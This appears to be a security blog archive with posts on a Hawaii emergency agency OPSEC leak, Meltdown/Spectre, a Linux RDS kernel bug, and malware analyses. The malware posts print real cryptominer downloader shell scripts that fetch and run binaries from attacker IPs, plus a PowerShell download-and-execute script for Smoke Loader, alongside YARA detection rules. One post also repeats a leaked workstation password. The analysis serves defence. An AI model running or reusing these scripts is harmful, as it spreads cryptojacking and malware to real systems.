xorl %eax, %eax

OPSEC fail: Hawaii Emergency Management Agency

leave a comment »

The past few days Hawaii Emergency Management Agency became popular in the news due to a false emergency alert which was a result of human error along with badly designed UI. This media attention brought to light some bad OPSEC practices from this agency.



News agencies start digging for content for the Hawaii Emergency Management Agency and brought up a news article from 22 July 2017 titled “North Korea Missile Threat ‘Unlikely,’ But Hawaii Prepares”. This news article from Associated Press included some high resolution photos. One of them was the following which shows Jeffrey Wong, the Hawaii Emergency Management Agency’s current operations officer and it was taken at the agency’s headquarters in Honolulu on 21 July 2017.



The photo reveals various details about the agency including the software used, internal discussion board, naming conventions, etc. However, the following close up gives some really interesting insights.



On the far right in the above photo we have a paper with the SWP (State Warning Points) call list that includes phone numbers per region. Then each of the two monitors has a Post-It note. The right one (WP2) says “Sign out” and the left one (WP1) says “Password Warningpoint2”. So, multiple operational security failures in this agency as well as the AP photographers and journalists that did not censor all those sensitive details from the photos before publishing them.

Written by xorl

January 17, 2018 at 10:10

Posted in opsec

Thoughts on Meltdown & Spectre

leave a comment »

2018 started with some unique low-level exploitation techniques disclosure. People that never cared about processor architecture suddenly explain how speculative execution, advanced side-channel analysis, and cache level works in modern high-performance processors, others confuse the different architecture design flaws, media and software vendors are heavily controlled by big processor manufacturers, Linus accepts patches with up to 30% performance impact without a question, and within that chaos we still miss some crucial details. In this post, I will give my thoughts on the following five domains regarding the Meltdown & Spectre exploitation.

  • Real-world impact
  • The victims/targets
  • Media manipulation
  • Nation-state
  • Mitigations



Real-world impact
For any of the disclosed exploitation methods, there is very limited real-world impact (yes, even for the JavaScript one on browsers with SharedArrayBuffer). The reason for this is that those attacks cannot be easily automated. They are definitely feasible, but they require manual intervention to provide any value to the attacker. Consequently, their use would only be useful on targeted attacks. But even in this case, why would an attacker prefer to read arbitrary memory using this extremely slow technique instead of exploitation a privilege escalation vulnerability and get much faster access to all system resources? One could argue because it is more covert. Well, there are some actual attack use cases and this is my next domain.

The victims/targets
The only real victim that this attack is more valuable than privilege escalation attacks is shared hosting providers. Whether that is virtual machines, containers, or anything similar. Those exploitation techniques break the sole business model of those companies. Huge players like Amazon, Google, Microsoft, etc. are selling exactly what Meltdown & Spectre proved that it doesn’t exist, high quality isolation between shared resources. And that brings us to the next domain.

Media manipulation
All of those big players, including manufacturers such as Intel, AMD, and the rest of the affected vendors, did a first-class crisis management when it comes to managing the reputation impact and press statements. They should probably be giving trainings on how to do this. You would expect that an attack that obliterates your core business selling point would result in massive stock price drops, media chasing the board all over the world, people moving away from those vendors, executives getting fired… Yet, nothing happened. From the business perspective this is a remarkable work of crisis management, but from the consumer perspective this is an alarming level of media manipulation power.

Nation-state
Talking about power, let’s talk about nation-states. Those attacks were not really new. Dave Aitel released this Immunity paper from 2014 that pretty much implements a variant of those exploitation techniques. If we move even further back, we have this paper from 1995 which goes through multiple security flaws of the x86 architecture, including the pre-fetching one. The latter document also contains an interesting sentence in its introduction.

This analysis is being performed under the auspices of the National Security Agency’s Trusted Product Evaluation Program (TPEP).

So, we know that NSA knew about those design flaws for at least 23 years. Realistically speaking, it is safe to assume that they would have tried to exploit them. Recently after the public disclosure of the attack the ShadowBrokers started offering some (allegedly) 0day exploits for those flaws claiming to be part of NSA’s toolkit.



Just to be clear, I totally endorse NSA, or any other nation-state for that matter, not disclosing them. They had already disclosed the research paper so the entire world knew about them (including Intel, AMD, and the rest). A tool that allows you to bypass the false sense of memory isolation a cloud provider offers would be extremely valuable for any offensive security team. It is the companies’ fault that they did not fix it. Nevertheless, it was worth mentioning. And talking about fixing…

Mitigations
There are a few different mitigations being proposed or already implemented. Let’s briefly go through them…

  • On the OS side we have we the KAISER/KPTI implementation which basically separates the kernel and user-space pages requiring TLB flushes (reloading of CR3 register or the use of Process Context Identifier (PCID) where available). Depending on the application, this can have major performance impact but, on the other hand, it also prevents a large number of exploitation techniques that were already used in the wild. So, security wise it is great, but business wise it will require extra funding for scaling for most companies. And guess what? The manufacturers of those processors are not held accountable for this (they should in my opinion as it was a known issue for decades).
  • The other proposed mitigation was the use of LFENCE instruction to literally stop speculative execution on specific code paths. A clever approach which however is hard to implement and deploy in the real world if you don’t want to have massive performance impact.
  • Intel issued a microcode update that also adds some new capabilities. Those are the IBRS (Indirect Branch Restricted Speculation), STITBP (Single Thread Indirect Branch Prediction), and IBPB (Indirect Branch Predictor Barrier). All can be used to control when branch prediction and indirect jumps are allowed. However, it brings another interesting attack vector… If Intel can dynamically reprogram their processors via a UEFI channel, maybe attackers can too. Sounds like an interesting research area now that the updates are out.
  • The last one is to recompile the code with a compiler that adds the concept of “return trampolines” (retpoline) which ensures that indirect near jumps and call instructions are bundled with some details about the target of the branch to avoid the cases of branch target injection attacks of Spectre. Again, good idea but expecting to recompile all binaries using this is not a trivial operation.

As a conclusion, the Meltdown & Spectre exploitation techniques sound like one of the biggest cover-up stories of the infosec community. Known for 20+ years, breaking core business models, nation-states researching them for decades… And yet… No repercussions or even media pressure to any of the involved parties behind them.

Written by xorl

January 10, 2018 at 10:40

Posted in security

The “Tiny XMR mooner” Linux cryptominer malware

leave a comment »

A few days ago I posted a blog post about a cryptominer that is becoming very popular. Yesterday I had a look at two new samples (this and this) which are slightly different. Here is the downloader of the first one.

#!/bin/sh
( wget -qO - http://37.187.107.139/.x/xmrt.priv > /tmp/x ) || ( curl http://37.187.107.139/.x/xmrt.priv > /tmp/x )
chmod +x /tmp/x
/tmp/x -o 206.253.164.158:443 > /dev/null 2>&1 &
cp /tmp/x /dev/shm/x
/dev/shm/x -o 206.253.164.158:443 > /dev/null 2>&1 &
cp /tmp/x /var/tmp/x
/var/tmp/x -o 206.253.164.158:443 > /dev/null 2>&1 &
cp /tmp/x x
./x -o 206.253.164.158:443 > /dev/null 2>&1 &

sleep 30
rm -rf /tmp/x
rm -rf x
rm -rf /dev/shm/x
rm -rf /var/tmp/x

It uses a slightly more clever logic that will execute either “wget” or “curl” instead of both, and it is going to start four processes of the cryptominer from /tmp/x, /dev/shm/x, /var/tmp/x, and ./x. All of them pointing to 206.253.164.158 (privpool.mone.ro.lt) for Monero (XMR) mining. The cryptominer used was uploaded on a server at .x/xmrt.priv and it is the “Tiny XMR mooner” which is only about 500KB in size. Below you can see its command line options.

+ Tiny XMR mooner.
+
+  ./mooner -o poolurl.net:3333 -u username -p password
+
+  threads, affinity, and everything else is on automatically precalculated for you.
+
+  -o        stratum pool url
+            stratum+tcp://poolurl.net:3333 or simply poolurl.net:3333
+  -u        username or monero wallet address
+  -p        password or email/difficulty (on some pools)
+  -F        bring process to foreground, (background by default)
+  -h        halp plz. :^)
+
+  this is a rip-off of a miner. sends some hashes to the dev. if you dont want that, choose another one.
+  more hashes for you tho. Especially optimized for Xeons and Core since Nehalem.

The downloader of the second sample is a combination of the above and the one shown in my previous post. The cleanup code in the beginning is similar to the old sample but the execution is more like the one listed above. Also, it is worth noting that it is using exactly the same miner from an identically named location on a web server and uses the same Monero (XMR) server for mining. This however, starts three processes from /tmp/systemd, /dev/shm/systemd, and ./systemd as you see below.

#!/bin/sh
kill -9 `ps x | grep muhsti | grep -v grep | awk {'print $1'}` > /dev/null 2>&1 &
kill -9 `ps x | grep cryptonight | grep -v grep | awk {'print $1'}` > /dev/null 2>&1 &
kill -9 `ps x | grep stratum | grep -v grep | awk {'print $1'}` > /dev/null 2>&1 &
( wget -qO - http://122.255.11.221/.x/xmrt32.priv > /tmp/systemd ) || ( curl http://122.255.11.221/.x/xmrt32.priv > /tmp/systemd )
chmod +x /tmp/systemd
chmod 700 /tmp/systemd
/tmp/systemd -o 206.253.164.158:443 > /dev/null 2>&1 &
cp /tmp/systemd /dev/shm/systemd
/dev/shm/systemd -o 206.253.164.158:443 > /dev/null 2>&1 &
cp /tmp/systemd systemd
./systemd -o 206.253.164.158:443 > /dev/null 2>&1 &
sleep 30
rm -rf /tmp/systemd
rm -rf systemd
rm -rf /dev/shm/systemd

The “Tiny XMR mooner” has some unique characteristics. Regarding its communication protocol, on startup it will open a socket and send a request similar to the following to the mining pool server.

{"method":"login","params":{"login":"<USERNAME>","pass":"<PASSWORD>","agent":"xmrt/0.1.2"},"id":1}

The expected response is a JSON encoded string that includes the job that the miner will start mining. You can see how this response typically looks like below.

{"jsonrpc":"2.0","result":{"job":{"blob":"<HASH OF THE JOB>","target":"<TARGET HASH>","job_id":"<UUID IF THE JOB>","time_to_live":5},"status":"OK","id":"<HASHED ID>"},"id":1,"error":null}

The miner is a 32-bit statically linked stripped ELF binary. On startup it copies itself using clone() to start a new miner background process which (for this sample) was hardcoded to always be named “sh”. The miner also checks if the “/tmp/.xmrt” file exists, this is the lock file of the miner. If it’s already there, no new process will start. Just like I did in the previous cryptominer post, here is a YARA rule that you can use to scan your system for the existence of the Monero cryptominer described here.

import "hash"
 
rule tiny_xmr_mooner_miner
{
    meta:
        author = "Anastasios Pingios (xorl)"
        description = "Linux Tiny XMR mooner miner"
        reference = "https://xorl.wordpress.com/2017/12/21/the-tiny-xml-mooner-linux-cryptominer-malware/"
        date = "21-12-2017"
        filename = "xmrt32"
        filename = "/tmp/x"
        filename = "/dev/shm/x"
        filename = "/var/tmp/x"
        filename = "/tmp/systemd"
        filename = "/dev/shm/systemd"
        filename = "/tmp/.xmrt"
 
    strings:
        $host_1 = "37.187.107.139" ascii
        $host_2 = "206.253.164.158" ascii
        $host_3 = "122.255.11.221" ascii
        $host_4 = "privpool.mone.ro.lt" ascii
        $host_5 = "donate.xmrt.pro" ascii
         
        $binary_1 = { C2 33 CF 50 35 }
        $binary_2 = { 3D DF D1 D7 66 BA CE A0 89 F0 DC CA CA BB 55 B7 2D 72 10 3E 75 }
        $binary_3 = { 77 AE A7 41 C6 0C E5 53 36 E5 F6 1A F9 53 7A DA 9A E9 }
         
    condition:
        2 of ($host*) or
        2 of ($binary*) or
        filesize < 600KB and hash.sha256(0, filesize) == "8a0d9c84cfb86dd1f8c9acab87738d2cb82106aee0d88396f6fa86265ff252dd"
}

Written by xorl

December 21, 2017 at 22:12

Posted in malware

Threat Analysis: Marketplaces for verified social media accounts

leave a comment »

Cyber-crime is a massive ecosystem and social media plays a key role in it. One way to stop them would be to disrupt their supply chain and this is what this post is about. Most cyber-crime groups utilize verified social media accounts to operate below the radar while executing their illegal activities. Namely, here are a few common reasons why cyber-criminals buy and use verified social media accounts.

  • Anonymously set up marketplaces on social media platforms like Facebook
  • Implement so-called “blackhat SEO” and sell services (advertisements, likes, reviews, comments, etc.)
  • Distribute or promote fake news
  • Avoid bot detection for common automated operations (spam, C2, phising, etc.)
  • Anonymously use the services offered by that social media platform



There was an excellent slide at HITB GSEC 2017 in the “Facebook – The Deep & Dark Web for Threat Actors in Asia*” presentation by Fadli B. Sidek explaining really nicely the benefits of the use of those Facebook verified accounts by cyber-criminals. Here is that slide.



The above are quite clear indicators that this area of cyber-crime will keep on growing. Some will be developing verified social media accounts and others will be buying them for uses like the ones described.



This underground market has been expanding so rapidly that many threat actors are developing and selling malicious tooling known as “Turboer”. This type of software is designed to exploit popular social media platforms in order to claim high-value account names, and assign them to a verified account. Typically, cyber-criminals subsequently sell those verified accounts for much higher prices.



The reason I made this post was my initial comment, if we would like to disrupt the supply chain of cyber-criminals this is an area we need to target. As more and more cyber-criminals utilize those verified social media accounts for malicious purposes, the demand increases, and the ecosystem keeps on growing.

Written by xorl

December 19, 2017 at 20:54

Linux kernel RDMA NULL pointer dereference

leave a comment »

While reading through Linux kernel’s ChangeLog I came across this one. I was unable to find any CVE ID for this vulnerability reported by Håkon Bugge on 6 December 2017. The vulnerability was discovered by Google’s syzkaller kernel fuzzer and reported in syzkaller719569. The vulnerable code starts in the setsockopt() system call implementation for RDS (Reliable Datagram Sockets). This code is located at net/rds/af_rds.c and here is the code path we are interested in.

static int rds_setsockopt(struct socket *sock, int level, int optname,
			  char __user *optval, unsigned int optlen)
{
	struct rds_sock *rs = rds_sk_to_rs(sock->sk);
	int ret;
   ...
	case RDS_GET_MR:
		ret = rds_get_mr(rs, optval, optlen);
		break;
	case RDS_GET_MR_FOR_DEST:
		ret = rds_get_mr_for_dest(rs, optval, optlen);
		break;
   ...
}

Before we check those two options, it is important to see some specific value in “rds_sock” structure. This structure is defined in net/rds/rds.h header file. The key here is that “rs_transport” pointer in “rds_sock” structure can be NULL.

/**
 * struct rds_transport -  transport specific behavioural hooks
   ...
 */
   ...
struct rds_transport {
   ...
};

struct rds_sock {
   ...
	/*
	 * bound_addr used for both incoming and outgoing, no INADDR_ANY
	 * support.
	 */
   ...
	struct rds_transport    *rs_transport;
   ...
};

Back in rds_setsockopt(), there are two options with very similar code. The RDS_GET_MR and RDS_GET_MR_FOR_DES which will both result in a code that uses copy_from_user() to copy the “rds_get_mr_args” or “rds_get_mr_for_dest_args” structure to the kernel space, and then invoke __rds_rdma_map() routine to do the mapping.

int rds_get_mr(struct rds_sock *rs, char __user *optval, int optlen)
{
	struct rds_get_mr_args args;
   ...
	if (copy_from_user(&args, (struct rds_get_mr_args __user *)optval,
			   sizeof(struct rds_get_mr_args)))
		return -EFAULT;

	return __rds_rdma_map(rs, &args, NULL, NULL);
}

int rds_get_mr_for_dest(struct rds_sock *rs, char __user *optval, int optlen)
{
   ...
	if (copy_from_user(&args, (struct rds_get_mr_for_dest_args __user *)optval,
			   sizeof(struct rds_get_mr_for_dest_args)))
		return -EFAULT;
   ...
	return __rds_rdma_map(rs, &new_args, NULL, NULL);
}

If we now move to __rds_rdma_map() in net/rds/rdma.c we will quickly notice what’s the issue that triggers the vulnerability. The code will try to access the get_mr() callback function from the “rs_transport” pointer which as mentioned earlier can be unset (NULL), resulting in a NULL pointer dereference. This code path can be reached from the previously described setsockopt() system call options.

static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args,
				u64 *cookie_ret, struct rds_mr **mr_ret)
{
   ...
	if (!rs->rs_transport->get_mr) {
		ret = -EOPNOTSUPP;
		goto out;
	}
   ...
	return ret;
}

The patch was to add an additional check that ensures that “rs_transport” is not NULL. If it’s NULL the __rds_rdma_map() will exit with “ENOTCONN” (Transport endpoint is not connected) error code.

diff --git a/net/rds/rdma.c b/net/rds/rdma.c
index 8886f15abe90..bc2f1e0977d6 100644
--- a/net/rds/rdma.c
+++ b/net/rds/rdma.c
@@ -183,7 +183,7 @@  static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args,
 	long i;
 	int ret;
 
-	if (rs->rs_bound_addr == 0) {
+	if (rs->rs_bound_addr == 0 || !rs->rs_transport) {
 		ret = -ENOTCONN; /* XXX not a great errno */
 		goto out;
 	}

Written by xorl

December 18, 2017 at 23:19

Posted in vulnerabilities

Trick for quick reverse engineering of JavaScript malware

leave a comment »

Most JavaScript malware authors try to obfuscate their code by adding a lot of unused code as well as randomized variable names and simple encoding and decoding fucntions. Lastly, they typically remove all spaces and newlines. For example, “Сопроводительные.xls.js” is a JavaScript malware sample uploaded to VirusTotal about 2 hours ago. In this malware sample the code was obfuscated using Dean Edwards JavaScript packer. The malware is pretending to be a Microsoft Excel file but it is actually a JavaScript file. Here is how the sample looks like.



We can try to understand what it does and probably spend hours of analysis or we can do something much simpler. Run the obfuscated code through some prettifier, for example something like jsbeautifier.org. Then, just scrolling through the prettified JavaScript code you can easily see some variable that contains a some large string. In this case, just by looking at it it looks like a Base64 encoded string.



If we just copy this Base64 encoded string and decode it, we will get the following malicious PowerShell script that downloads and executes a variant of Smoke Loader malware from microdocs.ru.

cmd /c start /b powershell -WindowStyle Hidden 

$http_request = New-Object -ComObject Msxml2.XMLHTTP;
$adodb = New-Object -ComObject ADODB.Stream;

$path = $env:temp + '\57737.exe';
$http_request.open('GET', 'http://microdocs.ru/axls/svita.exe?rnd=1328', $false);
$http_request.send();

if($http_request.Status -eq "200")
{
	$adodb.open();
	$adodb.type = 1;
	$adodb.write($http_request.responseBody);
	$adodb.position = 0;
	$adodb.savetofile($path);
	$adodb.close();
} else {
	Write-Host $http_request.statusText;
}

Start-Process $path;

So, when reverse engineering a JavaScript malware, before trying to understand the whole obfuscated code, look for any large strings that are standing out. In this case the above analysis took me less than 5 minutes and as you can probably guess trying to de-obfuscate the entire obfuscated code would have taken at least a couple of hours. Hope that you found this trick useful. :)

Written by xorl

December 16, 2017 at 00:31

The kworker Linux cryptominer malware

leave a comment »

I recently saw this interesting malware sample. The uploaded file is nothing more than a downloader for a cryptocoin miner. The downloader (logo.sh) starts by removing “/var/tmp/fyvxsztqix.conf” and “/var/tmp/sshd” which means that it is probably previously installed malware.

#!/bin/sh
rm -rf /var/tmp/fyvxsztqix.conf
rm -rf /var/tmp/sshd

After this it runs a series of cleanups to ensure that the system not running another instance of the miner. After it kills all of the running miner processes, it will start the downloader as you can see below.

ps auxf|grep -v grep|grep -v mwyumwdbpq|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "fyvxsztqix"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "mwyumwdbpq" -e "xzpauectgr" -e "slxfbkmxtd"|grep -v grep
if [ $? -ne 0 ]
then
echo "Starting process..."

The code will first attempt to download the configuration file (kworker.conf) and store it in “/var/tmp/mwyumwdbpq.conf” file. Note that it will try to do it both using wget and curl to ensure that it will work even if one of the tools is not available.

chmod 777 /var/tmp/mwyumwdbpq.conf
rm -rf /var/tmp/mwyumwdbpq.conf
curl -o /var/tmp/mwyumwdbpq.conf http://5.188.87.12/langs/kworker.conf
wget -O /var/tmp/mwyumwdbpq.conf http://5.188.87.12/langs/kworker.conf

After this the downloader will check “/proc/cpuinfo” and depending if the processor supports AES-NI (Advanced Encryption Standard New Instructions) or not, it will download either “kworker” or “kworker_na”. The downloaded file will be stored in “/var/tmp/atd” file.

chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.12/langs/kworker
wget -O /var/tmp/atd http://5.188.87.12/langs/kworker
else
curl -o /var/tmp/atd http://5.188.87.12/langs/kworker_na
wget -O /var/tmp/atd http://5.188.87.12/langs/kworker_na
fi
chmod +x /var/tmp/atd

Lastly, the downloader will discover the amount of available cores and it will start the downloaded file using arguments “-c” for the configuration file and “-t” for the number of threads to start in order to utilize the CPU resources of all the available cores.

cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
./atd -c mwyumwdbpq.conf -t `echo $cores` >/dev/null &
else
echo "Running..."
fi

Here is the configuration file (kworker.conf) that it was downloaded from this malware sample.

{
    "url" : "stratum+tcp://45.76.94.104:80",
    "user" : "etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

Inspecting the binaries makes it obvious really fast that this is cpuminer version 2.3.3. An open source miner available on GitHub. It is worth noting that although the latest release of cpuminer is 2.5.0 (released in 22 June 2017), those two samples were compiled on 29 October 2017 (kworker_na) and 31 October 2017 (kworker) respectively, using version 2.3.3 which was released on 27 February 2014. Below is the help message of the cpuminer version 2.3.3 (kworker).

Usage: minerd [OPTIONS]
Options:
  -o, --url=URL         URL of mining server
  -O, --userpass=U:P    username:password pair for mining server
  -u, --user=USERNAME   username for mining server
  -p, --pass=PASSWORD   password for mining server
      --cert=FILE       certificate for mining server using SSL
  -x, --proxy=[PROTOCOL://]HOST[:PORT]  connect through a proxy
  -t, --threads=N       number of miner threads (default: number of processors)
  -r, --retries=N       number of times to retry if a network call fails
                          (default: retry indefinitely)
  -R, --retry-pause=N   time to pause between retries, in seconds (default: 30)
  -T, --timeout=N       timeout for long polling, in seconds (default: none)
  -s, --scantime=N      upper bound on time spent scanning current work when
                          long polling is unavailable, in seconds (default: 5)
      --no-longpoll     disable X-Long-Polling support
      --no-stratum      disable X-Stratum support
      --no-redirect     ignore requests to change the URL of the mining server
  -q, --quiet           disable per-thread hashmeter output
  -D, --debug           enable debug output
  -P, --protocol-dump   verbose dump of protocol-level activities
  -S, --syslog          use system log for output messages
  -B, --background      run the miner in the background
      --benchmark       run in offline benchmark mode
  -c, --config=FILE     load a JSON-format configuration file
  -V, --version         display version information and exit
  -h, --help            display this help text and exit

There were no modifications in either of the binaries. They were just compiled versions of this open source miner software. According to some sources this is a result of malware infections based on exploitation of the CVE-2017-5638 (Apache 2 Struts remote code execution) vulnerability. Regarding the network indicators, there is no clear correlation among them. Here is a brief overview of them.

    IP           Hostname       First seen   Last seen     WHOIS name/email            Registrar    
5.188.87.12        N/A              N/A      13-12-2017   noc@channelnet.ie             Petersburg Internet Network Ltd.
45.76.94.104 mine.etnpool.info  29-11-2017   13-12-2017   contact@privacyprotect.org    PDR Ltd.
91.230.47.90       N/A              N/A      14-11-2017   noc@channelnet.ie             Regionalnaya Kompaniya Svyazi Ltd. 
37.59.56.102 pool.minexmr.com   16-04-2014   13-12-2017   ALEXIS ENSTON/XN@OUTLOOK.COM  eNom

 
To conclude, I wrote a simple YARA rule that you can use to detect any infections you might have in your systems. The YARA rule is based on the previously described samples and you can find it here.

import "hash"

rule minerd_kworker_cpuminer
{
    meta:
        author = "Anastasios Pingios (xorl)"
        description = "Linux cpuminer (minerd)"
		reference = "https://xorl.wordpress.com/2017/12/13/the-kworker-linux-cryptominer-malware/"
        date = "13-12-2017"
        filename = "logo.sh"
		filename = "/var/tmp/fyvxsztqix.conf"
		filename = "/var/tmp/mwyumwdbpq.conf"
		filename = "/var/tmp/xxtyligbex.conf"
		filename = "/var/tmp/sshd"

    strings:
		$host_1 = "5.188.87.12" ascii
		$host_2 = "45.76.94.104" ascii
		$host_3 = "91.230.47.90" ascii
		$host_4 = "37.59.56.102" ascii
		$host_5 = "pool22.poolminers.net" ascii
		
		$downloader_1 = "kworker" ascii
		$downloader_2 = "etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc" ascii
		$downloader_3 = "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt" ascii
		
		$binary_1 = "cpuminer" ascii
		$binary_2 = "minerd" ascii
		$binary_3 = "stratum+tcp" ascii
		$binary_4 = "Mining-Extensions" ascii
		
    condition:
        2 of ($host*,$downloader*) or
		3 of ($binary*) or
        filesize < 2KB and hash.sha256(0, filesize) == "d920f802d03bd6b7ad7e0e309da1f8087542542626be8057fd15d820bc8a66e1" or
        filesize < 2MB and hash.sha1(0, filesize) == "59ea14373c0ffd14d3bb00ed8c98421c680e853c"
}

Written by xorl

December 13, 2017 at 00:48

Posted in malware